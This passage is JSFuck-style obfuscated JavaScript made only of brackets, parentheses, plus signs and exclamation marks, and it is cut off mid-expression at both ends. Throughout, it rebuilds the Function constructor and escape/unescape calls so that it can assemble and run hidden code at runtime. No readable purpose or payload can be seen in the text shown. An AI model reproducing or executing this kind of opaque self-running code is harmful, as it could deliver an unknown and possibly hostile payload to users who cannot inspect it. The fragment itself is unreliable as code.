+!+[]+!+[]+!+[]+!+[]+!+[]])+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][(![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[!+[]+!+[]]+(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]]([+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]])+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][(![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[!+[]+!+[]]+(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]